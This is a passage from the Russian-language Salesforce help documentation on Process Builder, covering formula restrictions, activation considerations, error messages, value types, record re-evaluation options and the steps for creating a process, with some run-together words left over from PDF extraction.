неподлежат автоматическомудобавлениювпакетилинаборизменений. Для успешногоразвертываниярекомендуем
добавить данные ссылочные компоненты в пакет или набор изменений вручную.

– Apex

– Электронные предупреждения

– Запустить поток

– Опубликовать в Chatter

– Быстрые действия

– Отправить на утверждение
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Ограничения для формул процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Формулы, используемыекакусловиякритериев, отличаютсянекоторымиограничениями.
Процесс, содержащийнедопустимуюформулу, неможетбытьсохраненилиактивирован.

Все формулы, используемые критериями, должны соответствовать требованиям ниже.

• Формуладолжнавозвращать значение true или false. Еслиформулавозвращает
значение true, то связанные действия выполняются.

• Формула должна содержать не более 3 000 символов.

• Формула должна содержать поддерживаемуюфункцию.

Совет: Скобкине добавляются автоматическипри вставкефункции. Обязательно
добавляйте в формулу скобки, например TODAY().

Неподдерживаемые функции

Формула процесса, использующая любуюфункцию ниже, возвращает значение null.

• GETRECORDIDS

• IMAGE

• INCLUDE

• PARENTGROUPVAL

• PREVGROUPVAL

• REQUIRE SCRIPT

• VLOOKUP

Полныйсписокоператоровифункций, доступныхдля созданияформул, см. вразделе «Операторыифункцииформулы»
на странице 4632 интерактивной справки Salesforce.

Прим.:

• Если критериипроцесса используютформулу, не рекомендуем создаватьформулу, которая всегда оценивается
как истинная (например, «2 < 5»).

• ISCHANGED можетиспользоватьсякакфункцияформулыилиоператор. Прииспользованиивкачествефункции
формулы в критерияхпроцесса системанепозволяет ссылаться на связанныеполя дочерней записи. Например,
ISCHANGED не поддерживается при добавлении ссылки на поле [Case].Contact.AccountId, но может
использоваться при добавлении ссылки на поле [Case].ContactId.

Рекомендации по активации процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем активировать процесс, просмотрите условия, при выполнении которых
процессы начинают оценку записей.

• Активированный процесс недоступен для редактирования.

• Ниже указан порядок обработки правил в системе Salesforce.

1. Правила проверки

2. Правила назначения

3. Правила автоматического ответа

4. Бизнес-правила и процессы (и немедленные действия)
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5. Правила расширения

• Обновления записейнаосновепроцессовнеинициируютправилапроверки, поэтомупроцессымогут аннулировать
ранее допустимые поля.

• Процессы выполняются автоматически и незаметны пользователям.

• Сохранение или создание записей может инициировать несколько процессов.

Когда процессы начинают оценку записей?

• Процессымогут оценивать записи при сохранении или создании записей. Тем не менее, процессы, созданные после
сохранения записей, не оценивают данные записи задним числом.

• Процессымогутоценивать записинеболеепятираз заодну транзакциюприобновлениизаписипосредствомдругого
процесса, бизнес-правила илипотока в тойже транзакции. Дополнительнуюинформациюсм. в разделе «Повторная
оценка записей в конструкторе процессов» на странице 4750.

• Процессы инициируются при переподчинении стандартного объекта во взаимосвязи «Основная — подробная».

• Процессы оценивают преобразованные интересы только при включении правил проверки и триггеров для
преобразования интересов в организации.

• Процессы оценивают изменения, внесенные в записи при использовании приложения Connect Offline, во время
синхронизации.

• При обновлении пакета процессы инициируются повторно только для измененных объектов.

• Ниже перечислены действия, которые не инициируют процессы.

– Пакетная замена значений раскрывающихся списков

– Пакетное обновление адресных полей

– Пакетное обновление подразделений

– Изменение назначений территорий для организаций и возможностей

– Преобразование интересов в организации-лица

– Деактивация пользователей портала самообслуживания, клиентского или партнерского портала

– Преобразование данных «Область» и «Страна» посредством инструмента «Преобразовать»

– Изменение раскрывающихся списков «Область» и «Страна» посредством компонента AddressSettings в
интерфейсеMetadata API

Сообщения об ошибках конструктора процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сообщения об ошибках и предупреждения могут содержать термин «поток» вместо
термина «процесс». Тем не менее, данные сообщения применяются к процессу
пользователя.

Ниже перечислены рекомендации по просмотру ошибок.

• Если процесс использует значение поля организации (например,
«"Account.Name" равно "Acme"»), то при создании или редактировании
организации-лица может отображаться следующая ошибка: «Не удалось
инициировать поток посредством действия бизнес-правила. Не удалось сохранить
запись, котораянеинициировалапоток.». Воизбежаниеданнойошибки, рекомендуем
деактивировать процесс.

• Ссылочноеполесодержитзначениекода, указывающеенауникальнуюзаписьдругого
объекта. При отсутствии данного значения кода отображаются ошибки. Например:
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– Процесс содержит действие «Опубликовать в Chatter», сообщение которого ссылается на имя организации,
связанной с записью контакта. «Контакт для организации {![Contact].Account.Name} создан.» При
отсутствиизначениякодадляссылочногополяорганизациив записиконтактаотображаетсяошибкавыполнения
процесса.

– Критерий процесса проверяет поле «Имя» организации, связанной с записью контакта, на наличие значения
«Acme» («"[Контакт].Account.Name" равно "Acme"»). При создании записи контакта, связанной с
организацией, без настройки значения кода отображается ошибка. Во избежание данной ошибки, рекомендуем
добавить до критерия «"[Контакт].Account.Name" равно "Acme"» дополнительное условие фильтра
«"[Контакт].AccountId" равно нулю "Ложь"».

• Если критерий процесса оценивает поле взаимосвязи поиска, значение которого является пустым, то процесс может
завершиться неудачно.

Например, процессоцениваетнастраиваемоеполе взаимосвязипоиска, ссылающеесяна статуснастраиваемойзаписи
ошибки, связанной с обращением. Если поле статуса ошибки содержит пустое значение, то процесс завершается
неудачноипрекращаетоценкуостальныхполейвпорядке, указанномвкритерияхпроцесса. Процессоцениваетполе
взаимосвязи поиска правильно при использовании эквивалентнойформулы в критериях процесса. Если критерий
процесса не использует формулу, рекомендуем проверить функцию isNull при добавлении ссылок на поля,
обрабатывающие несколько связанных записей.

Настройка значений в конструкторе процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Использованиеконструкторапроцессовпредполагаетрегулярнуюнастройку значений
(например, принастройкеусловийдлякритерия, принастройкеполейновогообращения
для действия «Создать запись» или при выборе метода Apex для ссылки).

Область выбора поля
Рекомендуем использовать область выбора поля для добавления ссылок на поля
записи, начавшей процесс, или поля связанных записей.

Типы значений конструктора процессов
При выборе значения для заданного поля (запись, начавшая процесс, или связанная
запись) доступные типы значений фильтруются на основе выбранного поля.

Раскрывающиеся списки со множественным выбором в конструкторе процессов
Конструктор процессов позволяет выбирать несколько значений для поля типа «Раскрывающийся список со
множественным выбором».

Настройка дополнительных параметров в конструкторе процессов
Конструкторпроцессов позволяет пользователям выбирать некоторые дополнительныепараметры для выполнения
действий в процессах.
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Область выбора поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуемиспользоватьобласть выбораполядля добавления ссылокнаполя записи,
начавшей процесс, или поля связанных записей.

Чтобы воспользоваться полями связанной записи, щелкните нужное поле со значком
. Например, воспользуйтесь значением поля «Код организации» для организации

контакта обращения.

Область выбора поля отображает только поля, которые поддерживаются значениями, выбранными для поля или
переменных потока и переменных Apex.

Типы значений конструктора процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При выборе значения для заданного поля (запись, начавшая процесс, или связанная
запись) доступные типы значений фильтруются на основе выбранного поля.

Ниже перечислены доступные типы значений.

• «Валюта»: введите значение валюты вручную.

• «Логическое»: выберите логическое значение (истина или ложь).

• «Дата/время» или «Дата»: введите значение даты/времени или даты вручную.

• «Формула»: создайте выражение формулы.

• «Глобальная постоянная»: выберите глобальную постоянную для назначения
значению нулевой или пустой строки (например, $GlobalConstant.Null).

• «Код»: введитезначениекода Salesforce вручную (например, 00300000003T2PGAA0).

Прим.: Если в основе процесса лежит код пользователя (например, если значение параметра [Event].OwnerId
равно значению конкретного кода), убедитесь, что код представлен 18-, а не 15-значной строкой. Коды,
представленные 15-значной строкой, можно преобразовать в 18-значные с помощью следующего средства:
www.adminbooster.com/tool/15to18.

• «Раскрывающийсясписоксомножественнымвыбором»: выберитекакминимумоднозначениераскрывающегося
списка со множественным выбором.

• «Число»: введите числовое значение вручную.

• «Раскрывающийся список»: выберите значение раскрывающегося списка.

• «Ссылка»: выберите поле записи или связанной записи.

4746

Конструктор процессовРасширение Salesforce посредством интерактивных
инструментов

http://www.adminbooster.com/tool/15to18


• «Строка»: введите строковое значение вручную.

Прим.: Данные значения глобальных постоянных не поддерживаются оператором «равно нулю».

• $GlobalConstant.Null

• $GlobalConstant.EmptyString

Раскрывающиеся списки со множественным выбором в конструкторе процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Конструктор процессов позволяет выбирать несколько значений для поля типа
«Раскрывающийся список со множественным выбором».

Например, задайте несколько значений для поля «Страна» записи компании, которая
работает в Ирландии, Великобритании и Франции.

Ниже перечислены компоненты, поддерживающие раскрывающиеся списки со
множественным выбором.

• Формулы

• Критерии процесса

• Действия «Создать запись»

• Быстрые действия

• Действия «Обновить записи»

Чтобы задать несколько значений, создайте одно условие для каждого отдельного значения раскрывающегося списка со
множественнымвыборомвкритерияхпроцесса. Например, еслипроцесспроверяетрасположенияофисоворганизации
на предмет их изменения, добавьте ссылки на несколько значений путем выбора одного поля для каждого значения
раскрывающегося списка со множественным выбором.

Дополнительнуюинформациюсм. вразделе «Советыпоиспользованиюполейформулытипа "Раскрывающийсясписок"
и "Раскрывающийся список со множественным выбором"».

Введите значения путем выбора параметра «Выбрать значения...» при добавлении ссылки на поле раскрывающегося
списка со множественным выбором в действии.

Добавьте или удалите значения путем их перетаскивания между столбцами «Доступно» (1) и «Выбрано» (2).
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Нижеперечисленырекомендациипоиспользованиюоператороввраскрывающихсяспискахсомножественнымвыбором.

• Рекомендуем использовать оператор «Равно» только при выборе одного значения из поля раскрывающегося списка
со множественным выбором.

• При использовании оператора «Равно» с несколькими значениями раскрывающегося списка со множественным
выбором и выборе параметра «Соответствие любым условиям (ИЛИ)» условие оценивается как истинное только
для одного значения. Например, если процесс проверяет поле «Регион» на наличие значения «Западный» или
«Восточный», то условие оценивается как истинное при наличии только значения «Западный» или только значения
«Восточный», но не обоих значений.

• При использовании операторов «Содержит» и «ИЛИ» для оценки нескольких значений раскрывающегося списка
со множественным выбором условие оценивается как истинное для нескольких значений. Например, если процесс
проверяет поле «Регион» на наличие значения «Западный» или «Восточный», то условие оценивается как истинное
при наличии в поле «Регион» значений «Западный» и «Восточный», либо при наличии в поле «Регион» значений
«Западный» или «Восточный».

Настройка дополнительных параметров в конструкторе процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Конструкторпроцессовпозволяетпользователямвыбиратьнекоторыедополнительные
параметры для выполнения действий в процессах.

Чтобы выбрать данные параметры, разверните область «Дополнительно» боковой
панели при выполнении указанных ниже действий.

• Добавление объектов в процесс

• Добавление критериев в процесс

Рекомендации по использованию дополнительных параметров конструктора
процессов
Ниже перечислены рекомендации по выбору дополнительных параметров.

Повторная оценка записей в конструкторе процессов
При добавленииобъектов в процесс пользовательможет выбрать многократнуюоценку записи в одной транзакции.
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Предотвращение нежелательных действий в процессах
При добавлении критериев в процесс пользователь может выбрать выполнение действий только при изменении
указанных критериев.

Рекомендации по использованию дополнительных параметров конструктора процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены рекомендации по выбору дополнительных параметров.

• Рекомендуем избегать создания бесконечного цикла при предоставлении процессу
возможности повторной оценки записей. Например, если процесс проверяет
описание организации на предмет его изменения, а затем обновляет описание
организацииисоздает сообщениеChatterприкаждомсозданииилиредактировании
записиорганизации, торезультатомоценкииинициированиядействийбудутшесть
сообщений Chatter.

• Чтобы выполнить многократную оценку записи в одной транзакции при выборе
объекта для процесса, не рекомендуем задавать критериям значение «Без критериев:
просто выполнение действий!».

• Нерекомендуемиспользоватьдополнительныепараметры, еслипроцессиспользует
функцииформулы ISCHANGED, ISNEW или PRIORVALUE. При использовании данных
параметров просмотрите перечисленные ниже рекомендации.

– При первоначальном создании записи функция ISNEW оценивается как истинная на всех этапах транзакции
процесса. Если процесс использует функциюформулы ISNEW и выполняет повторную многократную оценку
записи в одной транзакции, то данный процесс поддерживает многократное выполнение действий.

Например, процесс проверяет организацию на предмет ее создания или обновления.

1. Еслифункция ISNEW оценивается какистинная, топроцессобновляет годовойдоходорганизацииипубликует
сообщение в Chatter.

2. Если процесс обновляет годовой доход организации, то затем процесс выполняет повторную оценку записи
(не более пяти дополнительных раз) ввиду ее изменения.

Прикаждойоценке критериевфункция ISNEW оценивается какистинная. Результатомявляютсяшесть сообщений
Chatter. Данный пример является истинным только при инициировании процесса ввиду создания записи
организации.

– Присозданиизаписифункция PRIORVALUE возвращаеттекущеезначениевкачествепредыдущего. Приобновлении
записи функция PRIORVALUE возвращает значение поля, заданное перед началом транзакции. Если процесс
использует функциюформулы PRIORVALUE и выполняет повторную многократную оценку записи в одной
транзакции, то данный процесс поддерживает многократное выполнение действий. Если процесс выполняет
повторную многократную оценку записи в одной транзакции и выполняет действия только при изменении
указанныхкритериев, топредыдущее значение возвращает значения, существовавшиеперед сохранениемзаписи.

Например, процесс проверяет организацию на предмет ее создания или обновления.

1. Если формула PRIORVALUE([Account].Type) = 'Prospect' оценивается как истинная, то процесс
обновляет годовой доход организации и публикует сообщение в Chatter.

2. Присозданииорганизациитипа Prospect критериивсегда являютсяистиннымидо завершениятранзакции
процесса.

3. Если при выполнении критериев типу организации назначается значение Other, то формула
PRIORVALUE([Account].Type) = 'Prospect' для организации типа Prospect будет истинной до
завершения транзакции процесса.
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Прикаждойповторнойоценке записипредыдущемузначениютипаорганизациисоответствует значение Prospect.
Результатом являются шесть сообщений Chatter.

– При первоначальном создании записи функция ISCHANGED всегда оценивается как ложная.

Например, процесс проверяет описание организации на предмет его изменения
(ISCHANGED([Account].Description)), а также выполняет повторную многократную оценку записей в
однойтранзакции. Прииспользованииоднойтранзакциидлясозданияорганизациибезописанияипоследующего
обновленияееописаниядругимпроцессомфункция ISCHANGED оцениваетсякакистиннаяприкаждойповторной
оценке записи ввиду сравнения пустого значения (описание организации при создании записи) с текущим
значением.

Допустим, данныйпроцесс создает сообщениеChatterприкаждойоценкефункции ISCHANGED([Account].Description)
как истинной. Данный процесс может создать рекурсивный цикл, возвращающийшесть сообщений Chatter, так
как функция ISCHANGED оценивается как истинная на всех этапах транзакции.

Повторная оценка записей в конструкторе процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Придобавленииобъектов впроцесспользовательможет выбратьмногократнуюоценку
записи в одной транзакции.

При выборе данного параметра процесс может оценивать запись не более пяти
дополнительных раз в одной транзакции. Запись может оцениваться повторно ввиду
ее обновления процессом, бизнес-правилом или потоком в той же транзакции.

Например, процесс проверки продаж содержит несколько этапов, утверждений,
уведомлений и полей, подлежащих обновлению. Некоторые изменения могут быть
частьюпроцессаилимогут контролироватьсядругимибизнес-правиламиилипотоками
организации. Есликонструкторупроцессовразрешаетсяповторнаямногократнаяоценка
записи в одной транзакции, то все изменения (даже изменения из других процессов)
могут управляться и оцениваться посредством одной транзакции процесса.

Предотвращение нежелательных действий в процессах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Придобавлениикритериеввпроцесспользовательможетвыбратьвыполнениедействий
только при изменении указанных критериев.

Например, процесс отправляет электронное предупреждение при наличии статуса
обращения «Расширено». Допустим, сотрудники службы поддержки периодически
обновляют описание обращения. При каждом сохранении нового описания процесс
может проверять обращение на предмет изменения статуса «Расширено» вместо
периодической отправки электронных предупреждений. Таким образом, процесс
выполняет действия толькоприизменениистатусана значение «Расширено», нонепри
назначении статуса «Расширено».

Совет: Дополнительную информацию см. в данном коротком видеоролике
«Предотвращение нежелательных действий в процессе».

Ниже перечислены условия, при выполнении которых данный параметр не поддерживается.

• Процесс начинается только при создании записи.

• Процесс начинается при создании или редактировании записи, но критерии не оцениваются.

• Критерии оценивают формулу, но формула не содержит ссылку на запись, начавшую процесс.
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• Процесс использует оператор «Изменено» в условии фильтра.

Условия невыполнения действийУсловия выполнения действийЗначение
«Да»

Выбрано • Текущие значения записи соответствуют
условиям, а последние предыдущие значения
записи соответствовали критериям.

• Запись создана.

• Запись обновлена. Текущие значения
соответствуют условиям, а последние
предыдущие значения не соответствовали
условиям.

• Текущие значения записи не соответствуют
условиям.

Текущие значения записи не соответствуют
условиям.

Не
выбрано

• Запись создана.

• Запись обновлена, а текущие значения
соответствуют условиям.

Создание процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Чтобы создать процесс, определите его свойства и записи, подлежащие оценке, а затем
добавьте нужные критерии и действия.

1. Определение свойств процесса
Определите свойства для уникальной идентификации процессов и более удобного
управления процессами.

2. Определение записей для оценки
Свяжите процесс с объектом и укажите время начала процесса.

3. Добавление критерия процесса
Определите критериипроцесса, которые должныбытьистиннымидля выполнения
связанных действий.

4. Добавление действий в процесс
Определите действия, которые должны выполняться при выполнении заданных
критериев.
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Определение свойств процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Определите свойства для уникальной идентификации процессов и более удобного
управления процессами.

1. Введитестроку «Конструктор процессов» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Конструктор процессов», затем щелкните «Создать».

При необходимости измените текущий активный процесс путем создания его
неактивнойкопии. Копияможетиспользоватьсякакновыйпроцессилиновая версия
текущего процесса.

2. Чтобы определить процесс, заполните данные поля.

ОписаниеПоле

Имя процесса. Поле «Имя процесса» должно содержать не более
255 символов.

Данное имя отображается на странице управления процессами (для
перехода к этой странице введите строку «Конструктор процессов» в
поле «Конструктор процессов» вменю «Настройка», выберитепункт
«Конструктор процессов»), поэтому рекомендуется выбрать для
процесса имя, которое позволит отличить его других процессов.

Имя
процесса

Имя, используемоеинтерфейсомAPIиуправляемымипакетами. Поле
«API-имя» должно содержать не более 79 символов.

Данное имя должно быть уникальным среди всех процессов и
потоков. (При использовании потоков данному полю назначается

API-имя

метка «Уникальное имя».) Имя должно начинаться с буквы и
содержать только буквы, цифры и символы подчеркивания. Имя не
может заканчиваться символом подчеркивания, а также содержать
пробелы или два последовательных символа подчеркивания.

Поле «API-имя» сохраненногопроцессанеможетбытьизменено.

Дополнительно. Описание процесса.

Кроме того, описание отображается на странице управления
процессами, позволяяпользователямразличатьдоступныепроцессы

Описание

(например, для определения действий процесса и времени их
выполнения).

3. Нажмите кнопку «Сохранить».
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Определение записей для оценки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Свяжите процесс с объектом и укажите время начала процесса.

1. Щелкните «Добавить объект».

2. Выберите нужный объект в поле «Объект». Щелкните «Найти объект...» для
открытия раскрывающегося списка и введите значение для фильтрации списка.

После сохранения данной панели выбранный объект не может быть изменен.

3. Выберите время начала процесса.

ЗначениеУсловие

только при
создании
записи

Процесс начинается при каждом создании записи для указанного
типа объекта.

при создании
или
редактировании
записи

Процессначинаетсяприкаждомсозданииилиобновлениизаписи
для указанного типа объекта.

Прим.: Третий параметр («создано и изменено для дальнейшего соответствия
критериям»), доступныйприиспользованиибизнес-правил, будетотображаться
придобавлениикритериев, если здесь выбираетсяпараметр «присозданииили
редактировании записи».

4. Чтобы определить необходимость многократной оценки записи в одной транзакции, разверните область
«Дополнительно».

При выборе значения «Да» процесс может оценивать запись не более пяти дополнительных раз в одной транзакции.
Запись может оцениваться повторно ввиду ее обновления процессом, бизнес-правилом или потоком в той же
транзакции. Дополнительнуюинформацию см. в разделе «Повторная оценка записей в конструкторе процессов» на
странице 4750.

5. Нажмите кнопку «Сохранить».
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Добавление критерия процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Определите критерии процесса, которые должны быть истинными для выполнения
связанных действий.

При выполнении критерия процесс выполняет связанную группу действий. При
невыполнении критерия процесс пропускает группу действий и оценивает критерий
для следующей группы действий. Помните, что процесс выполняет только одну группу
действий.

1. Щелкните «Добавить критерии».

2. Введите имя данного критерия.

Имя отображается на холсте, позволяя пользователям различать добавленные
критерии.

3. Выберите нужный тип критерия. Данный выбор определяет поля, которые должны
отображаться в диалоговом окне.

ЗначениеЦель

Соответствие
условиям

Наличие определенных значений полей в записи.

Например, чтобы выполнить связанные действия для записей
возможностей, стоимость которых превышает 5 000 долларов
США, воспользуйтесь фильтром ниже.

[Opportunity].Amount greater than $5000.00

Значение
формулы

Оценка записи посредством формулы.

Например, чтобывыполнитьсвязанныедействиядляорганизаций,
годовой доход которыхпревышает 1 000 000 долларовСША, при оцениваетсякак

истинноеизменении организации любым пользователем, кроме
ответственного, воспользуйтесь формулой ниже.

AND (([Account].LastModifiedBy.Id <>
[Account].Owner.Id) , ([Account].AnnualRevenue
> 1000000) )

Без критериев:
просто

Выполнение связанных действий без оценки записи.

Процесс выполняет все действия, связанные с даннымкритерием,
и пропускает другие оставшиеся критерии. Таким образом, выполнение

действий!рекомендуем выбирать данный тип критерия только для
последнего критерия процесса.

4. При выборе значения «Соответствие условиям» выполните указанные ниже действия.

a. Определите условия фильтра путем выбора значений полей, подлежащих оценке.
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Выберите нужное поле. При необходимости оцените значения для записей, связанных с записью,

начавшей процесс. Просто щелкните связанную запись со значком напротив поля кода.

Например, если запись, начавшая процесс, принадлежит объекту «Контакт», то значение может
бытьоцененодляполя «Годовой доход» организацииконтакта. Чтобыполучитьдоступкданному

полю, щелкните «Код организации» , выберитеполе «Годовойдоход»ищелкните «Выбрать».

Поле

Доступные операторы определяются типом данных поля.Оператор

Доступные типы значений определяются типом данных поля.Тип

Определите нужное значение. Дополнительнуюинформациюсм. в разделе «Настройка значений
в конструкторе процессов» на странице 4745.

Значение

b. Определите условия, которые должны быть истинными для выполнения связанных действий, в поле «Условия».

Чтобы воспользоваться настраиваемой логикой, введите текстовую строку, содержащую:

• числа для обращения к каждому условию

• операторы «И» или «ИЛИ» для определения условий, которые должны быть истинными

• скобки для объединения элементов строки

Например, при использовании логики «1 И (2 ИЛИ 3)» результат оценивается как истинный при истинности
первогоусловияиистинностивторогоилитретьегоусловия. Максимальнаядлинатексталогикиусловиясоставляет
1 000 символов.

Прим.: Двусмысленныелогическиеусловия, разделенныескобками, обычнонеприводяткошибкампроверки.
Например:

• условие «1 И 2 ИЛИ 3» приводит к ошибке;

• условие «1 И (2 И 3) ИЛИ 4» не приводит к ошибке.

Не рекомендуется использовать двусмысленные настраиваемые логические условия при перегруппировке
частей строки, так как это может привести к непредсказуемым результатам.

5. При выборе значения «Значение формулы оценивается как истинное» определите нужнуюформулу.

6. Чтобы определить необходимость выполнения действий только при создании или редактировании записи для
соответствия критериям, щелкните «Дополнительно» внизу панели.

Дополнительную информацию см. в разделе «Предотвращение нежелательных действий в процессах» на странице
4750.

Прим.: Данный параметр доступен только при условии, что процесс начинается при создании или
редактировании записи, а пользователь выбирает значение «Условия фильтра выполняются» или «Значение
формулы оценивается как истинное».

7. Нажмите кнопку «Сохранить».
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Добавление действий в процесс

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Определите действия, которые должны выполняться при выполнении заданных
критериев.

Группа действий может содержать немедленные и запланированные действия.
Немедленные действия выполняются при выполнении критериев оценки.
Запланированныедействиявыполняютсявуказанноевремя. Например, системаSalesforce
позволяет автоматически отправлять электронные напоминания группе, работающей
сорганизациями, еслиценнаявозможностьостаетсяоткрытойзадесятьднейдоуказанной
даты закрытия.

Прежде чем начать работу, определите тип данного действия: немедленное или
запланированное. Чтобы выполнить действие в определенное время, выберите время
его выполнения.

1. Щелкните «Добавить действие».

2. Выберите нужный тип действия, а затем заполните поля для его определения.

Создание записи из процесса
Чтобы создать запись, введите значения вручную или воспользуйтесь значениями
связанных записей.

Создание сообщения Chatter из процесса
Сообщение может быть опубликовано в ленту пользователя, группы Chatter или
записи, начавшей процесс.

Использование быстрого действия из процесса
Быстроедействие, созданноетекущимпользователемилидругимадминистратором
для организации, позволяет создавать записи, обновлять записи или регистрировать вызовы.

Запуск потока из процесса
Запуск автоматически запущенного потока из процесса позволяет автоматизировать сложные бизнес-процессы —
создавать потоки для выполнения логики и разрешать событиям запуск потоков посредством процессов — без
создания специального кода.

Отправка сообщения эл. почты из процесса
Сообщение эл. почтыможетбытьотправленоизпроцессапосредствомэлектронногопредупреждения. Электронные
предупреждения настраиваются вне конструктора процессов и содержат стандартный текст, список получателей и
шаблон сообщения эл. почты.

Отправка записи на утверждение из процесса
Отправьте запись, начавшую процесс, на утверждение.

Обновление записей из процесса
Чтобы обновить как минимум одну запись, связанную с записью, начавшей процесс, введите значения вручную или
воспользуйтесь значениями из связанных записей.

Вызов кода Apex из процесса
Вызов Apex из процесса позволяет добавлять настраиваемые функции в процесс.
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Определение времени выполнения действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

При наличии заданного расписания некоторые действия могут выполняться в
определенное время.

Прим.: Запланированные действия — это сложные функции. Дополнительную
информацию см. в разделе «Рекомендации по использованию запланированных
действий».

Каждая группа действий, поддерживающая запланированные действия, может иметь
несколькорасписаний. Например, пользователимогутпланироватьвыполнениеразных
действий на разные дни.

Чтобыопределитьвремявыполнениязапланированныхдействийдля группыдействий,
выполните указанные ниже действия.

1. Щелкните «Задать расписание» в группе действий, поддерживающей
запланированные действия.

2. Чтобы запланировать действия на основе поля даты/времени для записи, начавшей
процесс, выполните указанные ниже действия.

a. Установите первый переключатель.

b. Щелкните раскрывающийся список в правой части панели и выберите нужную
дату.
Например, если процесс опирается на запись организации, выберите поле
организации «Дата создания».

c. Укажите нужное количество дней или часов до или после поля.

Привыполнениикритериевдляданнойгруппыдействийнамоментнаступления
данного времени система Salesforce выполняет запланированные действия.

3. Чтобы запланировать выполнение действий через определенное количество дней или часов после выполнения
процесса, выполните указанные ниже действия.

a. Установите второй переключатель.

b. Укажите нужное количество дней или часов после выполнения процесса.

При выполнении критериев для данной группы действий на момент наступления данного времени система
Salesforce выполняет запланированные действия.

4. Нажмите кнопку «Сохранить».

4757

Конструктор процессовРасширение Salesforce посредством интерактивных
инструментов



Создание записи из процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Чтобы создать запись, введите значения вручную или воспользуйтесь значениями
связанных записей.

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Создать запись». Полю «Создано» новой записи задается
пользователь, начавший процесс (путем создания или редактирования записи).

Внимание: Присозданиипроцессовдлязаменылюбыхбизнес-правилрекомендуем
удалить данные бизнес-правила после активации эквивалентных процессов. В
противном случае, система выполняет как бизнес-правила, так и процессы,
совместное использование которых возвращает непредвиденные результаты
(например, перезаписанные записи или повторяющиеся сообщения эл. почты).
Выполните аналогичные действия при создании процессов для замены любых
триггеров Apex.

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Выберите нужный объект в поле «Тип записи». Чтобы отфильтровать
раскрывающийся список, введите имя нужного объекта.

При выборе объекта отображается как минимумодна строка, позволяющая задавать
значения полей для новой записи.

Внимание: Строки отображаются автоматически для полей, требуемых
интерфейсом API. При необходимости укажите значения для других полей.
Рекомендуем использовать макеты страниц организации для определения
обязательных полей.

3. Задайте значения полей записи.

Выберите нужное поле. Чтобы отфильтровать раскрывающийся список, введите имя нужного поля.Поле

Выберите нужный тип значения. Доступные типы определяются выбранным полем.Тип

